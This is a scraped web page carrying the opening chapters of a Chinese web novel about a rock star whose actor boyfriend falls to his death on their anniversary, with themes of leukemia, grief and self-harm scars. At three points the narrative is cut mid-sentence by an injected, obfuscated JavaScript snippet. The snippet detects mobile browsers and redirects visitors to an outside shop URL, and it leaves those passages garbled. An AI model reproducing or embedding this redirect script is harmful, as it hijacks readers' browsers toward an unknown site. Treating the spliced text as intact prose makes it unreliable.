《重回影帝少年时代》 1. 坠落 《重回影帝少年时代》 莫寻秋野/文 独家发表晋江文学城 * 取到了事先定好的两份外带的粥,陆灼颂转身就出了门。 一推开门,挂在门上的风铃就清脆地响了几声。 外头的冷风轰地鱼贯而入。他被冻得一激灵,骂了一声“我日”。 粥店店员从店台前冒出脑袋,目光狐疑地看了他一眼。 陆灼颂进店时,就戴着墨镜帽子和一张黑色口罩,把一张脸挡得严丝合缝。大半夜来了这么个全副武装的人,她早就很在意了。 陆灼颂拉起衣领,没管店员的怪异目光,摁着帽子,顶风出了门。 寒风滚滚,一地的金黄落叶被卷飞,满天飞黄。 深秋了,天气冷得骇人,风像刀子似的刮来。他匆匆地往路边走,打开了一辆黑色保时捷的车门,逃难似的钻了进去。 关上车门,开了车内的热风空调,把脸上口罩一拉,摘了墨镜和帽子,露出一张帅脸和一脑袋张扬的红发,陆灼颂终于长出一口气。 “有病吧,这么冷。” 他搓搓肩膀,哈了几口冷气,愤慨地痛骂了几句。 刚出门去开了两个月演唱会,回来就降温成这破样。 也不能怪他男朋友前段时间突然发高烧还流鼻血了。这几年换季,真是冷热交替得毫无预兆。 手机在兜里震了起来,陆灼颂把手里的粥放到驾驶座,看都没看是谁,就接了:“哪位?” “你还好意思问哪位呀?” 挺甜的一道女声从电话那头传出来,语气透着不满。是跟他唱组合乐队的姑娘,他的搭档,给他打鼓的鼓手,叫路柔。 陆灼颂是眼下内娱正红的顶流歌手,专门唱摇滚,上个月发的新歌现在正挂在各大音乐软件榜首,专辑卖出去了两亿张。 他轻笑一声,把手机送到另一边耳朵边上。 摆正身位,启动了车子,陆灼颂开口问对方:“还不睡觉?” “我当然已经回酒店了,打这个电话是告诉你,你的两条银项链,还有演唱会那套衣服的上衣,全都忘在化妆间了。”路柔语气无奈,“到底跑得有多急啊,灼哥,你怎么不干脆连贝斯也扔这儿。” 保时捷开上了主路,经过的一家唱片专辑店门旁,正大咧咧地贴着一片广告海报。有两个路人小姑娘正在顶着冷风,和摆在门口的人形立牌合照打卡。 陆灼颂撇头看了一眼,那人形立牌正是他自己。 旁边的那几张海报上,也印着他的帅脸,还有一张和路柔的双人版本。 那是他新专辑的两张宣传封面,唱片店也是厉害,就那么生怕路人看不见似的,足足贴了半面墙。 顶流的待遇。 顶流哥陆灼颂司空见惯,视若无睹地吸吸被冻红的鼻尖。他打了转向灯,和路柔说:“要赶飞机,没办法,先在你那儿放着吧。” 路柔疲惫地拉长声音抱怨:“知道——明天就是你和安老师的恋爱三周年,你得早点回去。你骗他明天才回去,但是今晚要卡着零点提前到家,给安老师来个惊喜,因为他最近在电话里好像不开心——我知道的,你这几天一直在说。” 她嘟囔着,“刚刚八点钟一下演唱会,你就跑得没影了。为了老公不要搭档,重色轻友。” “放什么屁,我对你好的没边了行不行。回头给你转个红包,东西先在你那边放着。” 路柔笑了:“不用,这点儿小事,我又不是要你钱才打电话的,就是告诉你一声。你没被粉丝认出来吧?你一个大顶流,最近新歌刚出,热度这么高……” “放心吧,没有。我都快包成粽子了,我妈要是还活着,都认不出我。” “那就好,你开车吧。开慢点喔,别急着回去见老公就危险驾驶。” “……”陆灼颂被说得脸红了红,啧了声,“你这人怎么这样说话!” 路柔又笑两声:“行了,你好好开车吧。” 电话挂了。 陆灼颂嘟嘟囔囔又抱怨了路柔几句,把手机拿开,刚想往手边一放,却忽然看见屏幕上闪过两条通知。 【未接来电 1通】 【微信语音通话:未接通】 这两条试图给他打过来的电话,都是来自安庭——那个陆灼颂现在快马加鞭准备回家去见的男朋友。 一晃的空,他俩都谈三年了。谈得家喻户晓,全世界都知道。 因为两个都是顶流。 安庭是影帝级别的男演员,和陆灼颂的咖位不相上下。他手上的奖项不计其数,每年都被提名,获奖。 前几个月,他刚在飞鸟电影节拿了两项奖,上个月就又被这月月底的什么金象奖提名,估计又得捧着个奖项回来。 家里的书房都要放不下奖杯了。 没办法,这人是影帝,一个人就能扛上亿的票房。 陆灼颂看了看时间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871253|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>到家也就只有十几分钟了,他干脆就把手机放一边,没管这两通电话。 还是一会儿直接见面,来个惊喜好! 毕竟他就是为了这个才狂奔回来的! 陆灼颂踩着油门开过绿灯的十字路口,越想越心潮澎湃,嘴角都压不下去。 他一边拐着方向盘转了个弯,一边在车子里大叫着欢呼一声,还啪地把车载音乐的DJ打开,扯着嗓门起了一句男高音的头:“cacciatore——” 保时捷高调地呼啸而过,尾气吹飞一路落叶。 重金属的音乐狂暴地在车里响。 开着车到了家楼下,陆灼颂喜滋滋地拿起打包好的热粥,开门下车。 顶着冷风,他去打开了后备箱。一大捧玫瑰正放在里面,一打开就是一股沁人心脾的花香。 红色的玫瑰开得艳丽,像一大捧血。 这是陆灼颂提前让他的小助理买来的。 他在外办演唱会,车子一直停在机场那儿,小助理手上也有他的车钥匙。 等他今天飞回来,都要晚上十一点了,花店早已关门,只能提早部署。 陆灼颂哼着歌,把脑袋探进后备箱,将捧花上歪掉的小卡片摆正。车子一路颠簸,它都被颠歪了。 白色的小卡片上写着三周年快乐,和去年二周年时一样,是同一个花店定的。 他伸手捏了捏玫瑰,悄悄扯下来一瓣要落不落的花瓣,鬼使神差地犹豫了下,他就把花瓣别在了自己头发上。 像安庭去年收到他的花时做的那样。 那人每回收到陆灼颂给他的花,都喜欢折一枝,或者摘片花瓣来别在他头上,干净修长的手再有意无意地掠过他耳尖。陆灼颂每每抬头一看,就看见他含笑弯着的眼睛。 想着,陆灼颂的耳尖泛上一抹血色。 忽然一阵冷风吹来,他后脖颈一凉,打了个喷嚏。 手机又嗡嗡几声,他拿起来一看,时间已经23:56。 “我操,坏了!” 眼瞅着零点将至,陆灼颂顾不上回味了,赶紧把捧花抱了出来。 花后面还有从蛋糕店买来的抹茶蛋糕,他慌慌忙忙把它也拿出—— 咚! 一声巨响,从车头前面传来。 整个车子重重一震,像有什么重物从高处砸到了车上。 陆灼颂都被带着狠狠震了一下。 保时捷的报警声,突然尖锐地响了。 2. 白血病 警报响起,保时捷的车灯频繁地双闪起来,跟着刺耳的警报声音一起闪灭。 陆灼颂怔怔地杵在那儿,手里还抱着玫瑰,突闪突灭的车灯把他的脸照得忽明忽暗。 他手上拿着的还全是给安庭的东西。 给他买的玫瑰,给他买的蛋糕,给他买的热粥。 ……什么声音? 陆灼颂脑子发懵,没反应过来,眼睛被灯闪得有点刺痛。 他眨巴两下眼睛,终于回过神。 他起身,茫然地望了眼车前,往车前走去。 一片警报的亮灭和刺鸣中,他两手满满当当地拿着玫瑰、蛋糕和热粥,走到车前。 车的远光灯还没灭。 一步一步,陆灼颂慢慢地走近过去,慢慢看清了。 他的车前面,有一个人。 那人趴在地上,脸朝下,身形瘦得吓人,穿了件宽大的白衬衫。他身下的血已经流成了个泊,还在往外洇洇地蔓延。 风在吹,那人一头黑发随风晃了几下。 是个男人,头发留得有点长,已经被血浸得一缕一缕。发丝间露出的耳垂上,有一枚荆棘状的银色耳骨夹,也染了血。 陆灼颂两手往下一垂,手上一松。 砰的一声,玫瑰和蛋糕,全都摔了一地。 蛋糕摔烂了,玫瑰也摔得花瓣四飞。 粥也摔了,全都洒了。 陆灼颂却连东西摔到地上的声音都听不见了,什么都听不见了,连风声都消失了,自己的呼吸似乎都停了。他怔怔望着眼前,视野里却突然扭曲。 耳鸣声突然尖锐地嘶鸣起来,像撕心裂肺的尖叫。 半晌,他终于往前踉跄半步,朝车前那人连滚带爬地跑了过去。 他把那人从地上翻起来。 这人满脸是血,已经摔得半张脸都血肉模糊。陆灼颂气喘吁吁,哆嗦着手,把他脸上的血擦干净了些,露出了他一张惨白的脸。 是安庭。 安庭紧闭着眼睛,脸色发青而痛苦,已经没有意识。 “庭哥!庭哥!” “庭哥!!” 他声音惊惧发抖地喊。 安庭一直没反应,头上血肉模糊的伤口又流下血来,又把他的脸一点一点染红。 陆灼颂再次把他的脸擦干净。血是烫的,烫得他的手开始不听使唤了,开始一个劲儿地发抖,指尖都冷得没知觉。他瞳孔直颤地往安庭头上的伤上看,那伤重得触目惊心,血肉都砸烂了。 陆灼颂看得眼睛里发眩,喘不上气来了,连喊安庭都上不来气。 他不停地喊他,一遍遍地给他擦血,眼泪都扑簌簌地往下掉。 终于,安庭眼皮一抖。 他有反应了,他慢慢睁开眼。 陆灼颂又惊又喜,赶紧捧住他的脸。 “你听不听得见我?”他说,“庭哥!听不听得见!?你哪儿疼没有!?” “安庭!!” 安庭一句话都没回答。 这人躺在他怀里,眼睛半睁着,望着他,似乎没法聚焦,眼角疼得一直在抽搐。 片刻,他含血的嘴角也抽搐两下,神色忽然平静下来,朝陆灼颂扯扯嘴角,笑了。 释然地笑了。 陆灼颂愣住了。 他笑了,这个要死的人笑了——就如同不是要死亡,而是终于从哪座牢狱里解放,终于可以回家。 安庭闭上眼,在他怀里一歪脑袋,再次昏了过去,这次神色安宁。 陆灼颂僵在那儿片刻,有一股诡异而森然的恐怖宁静瞬间遍布全身。他头皮发麻地又喘了几口心惊的气,寒冷的夜里,竟浑身都出了汗。 他僵着已经没有知觉的手,没再给安庭擦血。这人的血洇洇地往下流,浸湿了他的袖子。 陆灼颂猛地回过神,赶紧掏出了手机,打了120。 * 救护车来的很快。 陆灼颂跟着上了救护车,去了医院。 他跟着一路跑进医院,围在安庭旁边喊他,可这人再没睁开眼。医护们把急救床推着一路跑,车轮子在地上擦出刺耳的叫喊,最后冲进了手术室里。 手术室的铁门碰地关上,把陆灼颂关在了外面。 他站在门前,僵了几秒,失魂落魄地往后踉踉跄跄地退了几步。 肺里都上不来气了,气管好像被堵住,肋骨下头痉挛似的一阵岔气疼。他张着嘴,喘气喘得喉咙里都痛,嘴里发出了一阵不太顺畅的嘶喝声。 为什么? 陆灼颂一片空白的大脑,终于挣扎出几分能思考的地方。 为什么掉下楼来了? 为什么安庭就这样了? 有人推他吗?他自己跳下来的吗? 为什么跳? 陆灼颂想不明白。 他离开家去开演唱会的时候,安庭还好好的,那时候他还和往常一样,笑着跟他说,等他回来,他们就正好三周年了。 他说他会好好准备的,会等陆灼颂回家。 他说这话的时候,陆灼颂看见了他耳朵上那枚荆棘状的耳骨夹。有点松了,好像要掉下来,于是他走过去伸手,还给他轻轻摁紧了一下。 怕把他耳朵弄疼,陆灼颂都没敢用太大力气。 安庭愣了愣,然后朝他弯眼一笑。 那耳夹是陆灼颂给他的,是给安庭的二十七岁生日礼物。 扑通一下,陆灼颂突然腿一软,往后一倒,重重坐在了地上。 医院走廊里,一股消毒水味儿。凄惨的白炽灯光洒在地上,手术室外几乎一点儿声音都没有。 安庭死了的话,他怎么办。 怎么办? 陆灼颂想不出答案来,他没想过这一天。他垂下头,抬起发抖的手。两手手心里都一片猩红,都是安庭的血。 哐—— 门开声把他从恐惧里拉回神。 他抬头,手术室的门开了,一个穿着手术服的医护从里面急匆匆走了出来。 看见陆灼颂,她说:“你是患者什么人?” “男朋友。” 陆灼颂吞了口口水,努力握紧双手,还用指甲狠狠掐了一把手背,强逼着自己冷静。 他拿手一撑地面,想站起来。可刚起个头,他两腿一麻,又啪地摔了回去。 根本没力气站起来。 陆灼颂沉默地收起手,作罢了。他眼眸忽闪几下,抓了抓自己皮衣的衣角,垂下脑袋。 “没结婚吗?”护士视若无睹,又问他。 这几年政策有变,同性能结婚了。 陆灼颂摇摇头。 “那你签不了字,打电话给他家属来。”护士说,“现在还在急救,一会儿做手术要家属签字。” 护士说完就走了。 陆灼颂赶紧把身上的兜摸了一遍,找到了手机。他手上全是血,手机一亮,满屏幕都是血痕。 他又赶紧把手上的血往衣服上抹了几下,把手机也擦干净,打了电话出去。 十几分钟后,高鸣音连滚带爬地冲进了医院里来——她是影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871254|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝演员安庭的经纪人。 陆灼颂不知道安庭父母的电话,只能叫她来。 她来的时候,陆灼颂已经爬到了旁边的一排铁皮椅子上坐下,正低着脑袋蔫蔫地沉默,目光已经变得恍惚,放在膝盖上的手紧攥着裤子。 看见她来,陆灼颂手撑住椅子,想站起来,又再一次无力地跌了回去。 “陆老师!”高鸣音看见他,跑了过来,“现在怎么样了?医生呢!?” 她面容急切得都扭曲了,急得都有些不寻常。 陆灼颂愣住了。他张嘴,还没来得及说话,刚刚那位医护就从后面走了过来。 “家属吗?”她对高鸣音说,“去那边签……” 高鸣音转头一看,瞧见她身上的手术服,立刻冲过去说:“做手术了没有!?他有急性白血病!” 护士一震:“什么?” “急性白血病啊!” 高鸣音急得眼泛泪花,抓住护士的胳膊摇了几下,声音都带上了哭腔,“一个多月前查出来的,他还没接受骨髓移植!手术别随便——” 正说着话,高鸣音的肩膀被人一拉。 她不得不被拽着转过身去。 一转身,她和陆灼颂四目相对。 陆灼颂居然站起来了,他正脸色发青,瞳孔在颤。 “他什么?” 他怔怔地问她,声音生涩艰哑——“安庭怎么了?” 高鸣音忽的哑声,脸色一白。 她和他对望片刻,还没来得及说什么,旁边的护士就着急忙慌地喊了声“快过来”,把她拽走了。 陆灼颂赶紧追了上去,他两腿虚得直疼,动了一下就差点又跌倒。 他咬紧牙关,扶着墙,一步步跟了上去。 可之后再没有他插嘴的地方。 高鸣音把病历从包里拿出来,交给了护士,护士转头急匆匆地又冲进了手术室,临走前叫她把安庭家属叫来签字。 高鸣音打了电话,连忙把安庭父母叫来。 等电话挂了,陆灼颂就上去拽住了她。 高鸣音被一拽,转头又和他一对望,顿时又僵了脸色。 陆灼颂脸色惨白。 陆灼颂是有张好脸的,不然也爬不到这么高。他皮肤白,眉眼深邃,五官标致得像个活雕塑,长得少年意气鲜衣怒马,漂亮英气的剑眉星目浓烈至极,长长的眼睫下,海似的蓝色眼睛亮得波光粼粼。 陆家祖母是法国人,他很幸运地继承了那双漂亮的蓝眼睛。 医院惨白的灯光打下来,他那双发亮的蓝眼睛里却一片血红,眼珠像玻璃似的闪着泪光。没消片刻,泪水就往外簌簌掉了两行。 陆灼颂张了张嘴,却没说话,或许是被恐惧杀哑了嗓子。 他怕安庭死,他真的怕安庭死。 高鸣音喉咙里突然涩得发疼。她想起上次看见陆灼颂这个样子,还是三年前,陆灼颂的吉他手死了的那天。 “……他不让我说,”她终于说,“安庭不让人告诉你。” “……为什么?” “那会儿,你刚出门去办演唱会。”高鸣音说,“你走之后没一个礼拜,他就查出病来了。查出来之后,大家都说,给你打电话吧,他不让人打……他说等你回来再说,他说你票都卖出去了,粉丝机酒也早都定了,这会儿叫你回来,不知道得损失多少钱。” “他……可能是觉得治不好了吧,你回来也没用。” “他哥哥就这么死的。”高鸣音小声说,“先天白血病,五年前死了。” 3. 死亡 “他家里有隐性基因,他哥哥一出生就是白血病。就比他大个三岁,小时候就开始治,治到五年前……还是没治活。” “五年前,就死了,做了二十多次骨髓移植了,也没用。” “所以,他不告诉你,大概就是因为……他觉得,迟早也得死吧。” 走廊里,消毒水的味道和浓重的药味儿混在一起,渐渐变得刺鼻了。 陆灼颂站在原地,呆了半晌,慢慢地松开了高鸣音。 他又听见耳鸣声了,一阵要把脑袋钻开的似的耳鸣。陆灼颂晃晃悠悠退了几步,恍惚地回头。他看见挂在护士站旁边天花板上的数字时钟,血红的时间在规律地一跳一跳。 已经半夜一点。 手术室的灯还亮着,在走廊的尽头,那道紧闭的、铁皮的门,像道打不开的厚墙。 安庭在里面。陆灼颂觉得恍惚,觉得自己好像在做梦,一切都不真实,可安庭真的在里面。 陆灼颂忽然分不清什么是真的了,短短一个小时里,突然什么都天翻地覆。他快站不住了,他想吐,他头晕目眩起来,心脏也疼,疼得他喘不上气,眼睛里都开始一阵阵发黑。 为什么。 他往旁边摔了半步,摔在了墙上。他下意识地伸出手,想扶住什么,可他什么都没抓住。 他就那么狼狈地滑坐到地上,张着嘴用力地喘气,在心里一遍一遍地问——为什么,为什么。 没人回答他。 二十几分钟后,安庭的父母来了,他们急匆匆地在手术单上签了字。 陆灼颂已经回到手术室前,缩坐在旁边的小角落里,没抬头,只听见走廊里一阵噼里啪啦的忙碌。 他听见高鸣音告诉了那对父母自己是谁,但是安庭的父母没做声,也没和他说话。 医护又来说了情况。他们说情况危急,然后就下了病危通知书,让他们又签字。一两个人匆匆进了手术室,走廊上又没了声音。 将近三个小时的手术后,手术室的灯灭了。 陆灼颂抬起头,看见医生从里面走了出来。 医生拉下口罩,表情沉静,低下眼帘,说:“我们尽力了。” 陆灼颂愣在了那儿。 * 安庭死了。 就这么最后一面都没有,一句话都没有,突如其来地没了。 因为白血病。 他母亲——陆灼颂第一次见她,那是一个穿着长裙子的中年女人。她呆若木鸡,愣了好久,扑通一下子瘫坐了下去,抓着自己心口的衣襟,撕心裂肺地哭出了声音。 男人蹲下去,想把她扶起来,女人却无论如何都站不起来,像个断了线的木偶。 男人又拉了她几下,最终也崩溃了,蹲下去和她一起抱头痛哭。 两个人伤心欲绝的哭声,听得旁人都肝肠寸断。 陆灼颂还是恍惚,他觉得自己好像也该哭一哭,可不知道为什么,一滴眼泪都没有。 手术床推了出来,那人身上盖上了白被,脸上也罩了白布。 陆灼颂呆呆地望着医护们把那张床推了出去,推去了太平间。 他还是一滴眼泪都没有。 他甚至觉得那不是安庭。 安庭说要等他回家的,那不是安庭。 后面的事情便繁琐而平常,安庭的父母去太平间确认了尸体,医院把他送去了殡仪馆。 记者不知道从哪儿闻到了味儿,把医院门口和殡仪馆门口都围得水泄不通。安庭的死很快得到证实,这件事立马变成新闻,在半夜上了热搜,铺天盖地的私信把陆灼颂微薄的平台都干爆炸了。 他一条都没看,热搜也没看。 从殡仪馆后门出来的时候,外面下雪了。看不见一点亮光的黑夜里,飘起轻柔的白雪花。 雪下的真早,这才十一月。 陆灼颂呼了口气,望着自己这一口白气消散在空中,想起跟安庭确认关系那天。那年也是场早雪,黑夜里飘了雪花,陆灼颂话还没说完,安庭就走过来,亲了他。 真冷。 远方的天边亮起来了。 陆灼颂走了,没跟任何人打招呼。 他回到家里,把衣服一脱,进了卧室躺到床上,昏天黑地地睡了整整一天一夜。 一次都没醒。 再醒过来的时候,陆灼颂睡得脑袋生疼,像被人劈开过脑子似的。 醒了之后,陆灼颂也没离开床,他连起床的力气都没有,就躺在床上一动不动,肚子都饿疼了也不动。 安庭死了,真的死了,家里只剩下了陆灼颂一个人,每天都安静如坟。 安庭的明星追悼会也办了,连着办了好几天。 陆灼颂一次都没去。 醒了也没去。 他的经纪人——姜骁气炸了,追上门来好几次,气得要把他绑着也要去。可惜陆灼颂打死不开门,持续在卧室里躺尸,老姜只能在门口无能狂怒,唾沫星子横飞,把他骂得飞天。 可陆灼颂还是无动于衷。 姜骁没招了,身上还有不少工作,只能撤退回去,转而开始给他打电话催促。 “好说歹说同居了三年,之前为了你,人家安庭差点被一起连坐封杀!” “再说谁不知道你俩在谈,早八百年前你俩就公开了,恋综都上过多少个了,你还专门给人家写过歌!二少啊,就算没结婚,你名分在他那儿多重,全世界谁不知道!?” 爸了个吊的,烦死了。 陆灼颂摁了免提,把手机放头顶,抓起被子往头上一拉,让经纪人自由发挥去了。 “你要是不去,得被黑成什么样!你没去追悼会的热搜已经爆了八条了!你再这么继续不出面,叫人怎么给你压热搜!?” “你到底为什么不去!?” 经纪人气的要疯,“你不是挺喜欢他的吗!再说再这么下去,外头该怎么说你了!你打算怎么摆平!?” “你还当自己是财阀阔少吗陆灼颂,你身后没人了!” 陆灼颂放在枕头上的手一紧。 “安庭都死了,这回要是再出事,还有谁给你兜底!?你身边还有谁——” 陆灼颂抓起手机,腾地从床上坐起,往墙上用力一扔。 砰一声巨响。 手机碎了,摔在地上,再没了声音。 卧室里窗帘紧拉着,一片昏暗。陆灼颂骨头发僵地坐在床上,好半晌才扭了扭头。卧室里的窗帘密不透风,看不清是晚上还是白天。 陆灼颂已经有点分不清白天和黑夜了。 他慢吞吞地下了床。肚子饿得生疼,再饿下去说不准就死了,多少得去寻觅点吃的。 一出客厅,他才看见外面的落日——或许是日出,陆灼颂分不清。 家里有点乱,沙发上堆满了衣服。 他揉着脖子,头疼得难受,微蹙着眉走进厨房,把橱柜挨个翻了一遍,没看见什么想吃的东西。 陆灼颂咳嗽两声,吸吸鼻子,打开了冰箱。 一瞬间,芬芳的花香扑面而来。 他握着冰箱门,呆若木鸡地愣在原地——他眼前,是一冰箱的花。 整个冷藏柜塞满了形形色色的芬芳花朵,红玫瑰蓝月季白玉兰向日葵,所有花都开得正好,满满当当地塞满所有角落,被冰箱暖黄的光照得明艳。 第二层正中央,那堆红玫瑰中间,摆着枚小卡片。 陆灼颂伸出手,要碰到的时候,又触电似的一缩。僵了一会儿,他才再次试探着伸出手去,把那白色小卡片拿了过来。 【三周年快乐】 【对不起】 【我爱你】 安庭写的字。 陆灼颂站在冰箱前,好久没吭声。他忽然想起,这好像是几个月前他和安庭一起看过的一个电影片段——一个女人一开冰箱,看到了满冰箱的花。 陆灼颂就笑着说,以后有空,给他也搞一个。 安庭什么反应,他不记得了,他现在想到那人的脸,只会想起他血肉模糊面目全非的样子,连那人说过的话都想不起来。 陆灼颂自嘲地笑了声。 他伸手,把这张小卡片撕成了两半。 然后是四半、八半。 纸被撕成了碎屑,陆灼颂把它们往地上一扔,洋洋洒洒地洒了一地。 他关上了冰箱门,把所有的花都关在了里面。 * 安庭的追悼会开了全程直播,陆灼颂打开笔记本,进去看了一会儿。 天黑了,外头没有一点亮光,陆灼颂也没开灯。客厅里一片漆黑,只有电脑屏幕的一片方方正正的青白光,把他的脸照得没有一点儿血色。 这个时间,追悼会早已结束,陆灼颂就摸着去看了重播。 追悼会上人很多,所有认识的和不认识的都在。他们正一个一个走去棺材前,把一朵一朵花放进安庭的棺材里。 所有人都掩面哭泣,面露不忍。 陆灼颂看见他父母站在前面,都已经双目红肿,还在流着眼泪,旁边还站着一个礼貌微笑的白净男青年,大概是他哥。 陆灼颂揉揉太阳穴,脑子里昏昏沉沉的闷痛。 弹幕上飘过一片言论。 【那阔少爷还没来?】 【笑死,早就不是少爷了】 【我早说了陆灼颂不是个好东西】 【就是个臭傻.逼,唱歌只会瞎嚷嚷,怎么让你们这群弱智群体捧成顶流的,真看不懂。】 【这都第七天了,安庭死了七天了!家里死条狗都得来看一眼吧?】 【现在还没出面,怕不是心虚吧!】 【哇塞细思极恐,现在还不出来,不是心虚是什么啊?】 【他把安庭逼死的?】 陆灼颂啪地摁了暂停。 视频里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871255|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的一切立马都停下了动作。 陆灼颂盯着飘过去的一行弹幕,沉默了很久。 【不是心虚是什么啊?】 【不是心虚是什么啊?】 【不是心虚是什么啊?】 陆灼颂视线飘开,看了眼旁边。电脑旁边,放着他白天里摔碎的那个手机。 屏幕已经碎成花,开不了机,陆灼颂却清晰地记得安庭打给过他的两通电话,就在他死前二十分钟不到。 是心虚吧,没说错。 他就是心虚。 没接到安庭死前的两通电话,也没回拨回去。安庭不知道是想跟他求救还是想说遗言,总之陆灼颂一个都没接到。 他就是心虚。 他不敢去看,他送不了花,也没法给那人追悼。 最后,一句话都没说上。 他没资格。 陆灼颂深吸了口气,抬手抹了抹脸。眼泪从掌心底下流出来,在他脸上蜿蜒着落了下去。 追悼会办了七天。第七天的追悼会结束后,安庭就马上被送去火化了。 连火化都被直播了,这行为着实有点非人。 陆灼颂这几天脑子太木,跟傻了差不多,愣是没觉出什么不对,开着小号进去看了。 安庭正被推进焚化炉里。 尸体的一截手臂,忽然毫无预兆地掉了下来,从殡仪馆火化的床台上。 尸体的手腕内侧,还有半圈纹身。 只纹了三个字,他的名字,“陆灼颂”。 纹身往下,是一片乱七八糟的血红划痕,像是割腕的痕迹。 整条手臂都割得面目全非了,却偏偏没动那三字纹身一分一毫。 殡仪馆的工作人员匆忙上来,把他的手放回去,继续往焚化炉里推。 他的手被摆好,又慢慢地往火炉里去。 陆灼颂愣在电脑前,良久,才颤颤伸手,捂住了自己的右边肩膀。 他慢慢用上几分力气,用力得指关节发抖,抓得自己肩膀骨头发疼。 那里是和安庭一起纹的身,他在右边肩膀上刻了安庭的名字缩写,刻了一大片。 安庭被送进了焚化炉,也被火吞噬了。 安庭被火化了,葬礼定在明天。 直播间的弹幕上,划过一片蜡烛。 直播关了。 直播结束了,直播间里再没有任何画面,也再没有任何弹幕。陆灼颂却好半天都没动,他呆呆坐在已经没有画面的屏幕前,握着自己的胳膊沉默。 客厅里的老式挂钟滴滴答答地走,一秒一秒,都带着指针的声音。 黑暗里,就只剩时间在响。 死寂之间,电脑突然响起消息提示。 陆灼颂回过神,瞄了眼右下角。 是微信,路柔给他发了消息。 【明天你去吗?】 【葬礼。】 陆灼颂靠在沙发上呆滞了会儿,窸窸窣窣地缓缓起身,点开那个对话框。 去…… 这个字刚打出来,他手指一僵。片刻,又把这字删了。 ……不去。 陆灼颂又把这俩字也删了。 去。 不去。 去。 不去。 就这么来来回回在对话框里打打又删删,他深深叹了口气出来。 【我不知道。】他最后回复。 路柔一看就是在对面等很久了,这话一发,聊天界面最上头立马就开始【对方正在输入中】。 【来吧,灼哥。】她发来消息,【总得去送他一下,对吗?】 陆灼颂回:【我不知道。】 路柔:【……】 陆灼颂转头看了眼窗外。 夜深了,黑夜漫漫。今晚是阴天,天上一点儿亮光都没有。 在黑暗里借着电脑屏幕的白光,陆灼颂慢吞吞地打字。 【怎么就死了呢。】 【生了场病,怎么就因为这个死了呢。】 【还能骨髓移植什么的……我可以给他做配型的。这病能治的,也不是没希望。】 【他怎么就死了。】 【他是心理又出问题了吗,你说。】 陆灼颂发出一长串自言自语似的消息。 路柔:【我也不知道。】 【大家都没想到的,太突然了。安老师月底还有奖项提名,好多合约都没到期……就这么死了。】 路柔发着消息,【会不会是,不想住院?他之前不是就很讨厌往医院去吗,一发烧就让私人医生上门,死都不去医院打水。】 陆灼颂垂下眉眼,嘟囔着:“胡扯。再讨厌医院,也不会因为这个去死。” 这话,他没发出去。 他只回复路柔:【我想想吧。】 路柔回他:【好,那我明天先去葬礼。】 【嗯。】 4. 胶卷01 对话就这样结束,陆灼颂去厨房的储物柜里拿了两瓶酒。 回来后,他坐回到客厅地毯上,还是没开灯。一片黑暗里,他沉默地把两瓶便宜啤酒全都开了瓶盖,对嘴闷了。 第一口酒辣得嗓子疼,陆灼颂一下子就呛到了,咳嗽了好几声,还没缓过来,就立刻又给自己灌了第二口。 一大半瓶子的闷酒下去,脑袋又开始隐隐作痛。 陆灼颂渐渐喝得昏昏沉沉,不知何时睡着了。 他斜靠在沙发上,怀里抱着酒瓶,做了个梦。 梦见第一次见到安庭那天。 那是六年前的事了,是陆灼颂刚出道没多久的时候。 某个大老板给自己办了生日宴,在他自己的私人庄园里。 大老板是娱乐圈里知名的赞助商,资助了不少电影电视剧和唱片公司,连综艺节目也经常砸大钱赞助,其中更不乏音乐综艺。 所以,整个娱乐圈的半壁江山全都赴宴了,不管是唱歌的、演戏的、还是干主持的。 陆灼颂也去了,穿得人模人样,一身孤品黑西装。 他毕竟刚出道,圈里的人都不怎么认识。经纪人带他去,完全是去给圈里人刷脸熟,让人给他打招呼,攒点人脉——是的,让人给他打招呼。 陆灼颂那会儿金贵得很。 他背后是一个雄厚的家族财阀,拥有在全世界都排得上号的恐怖财产。论起身价,他比那回的宴会主人身价都贵上好几倍。 陆灼颂那天是最后一个到场的,晚了足足两个小时。 可宴会主人,那位全娱乐圈都要给个面子的赞助商大老板,看见他就屁颠屁颠地跑了过来,躬身弯腰,给他笑呵呵地打了招呼,然后就把佣人叫了过来。 佣人抱着一瓶上好的红酒,过来了。 大老板把红酒拿过来,献佛似的,亲自把这一瓶金贵的红酒双手奉上,端给了他。 “陆少,这是我家珍藏了很久的上好红酒,一般人,那可是这辈子都喝不到!”大老板激动得抑扬顿挫,“今天听说您要来,我特意从酒窖里拿出来的。白泰拉兰!百年前的,早就停产了,绝版的!您今天,就品一品?” 陆灼颂瞥了眼那传说中的绝版红酒。 现在市价,好像三百多万一瓶。 才三百万,个低级货。 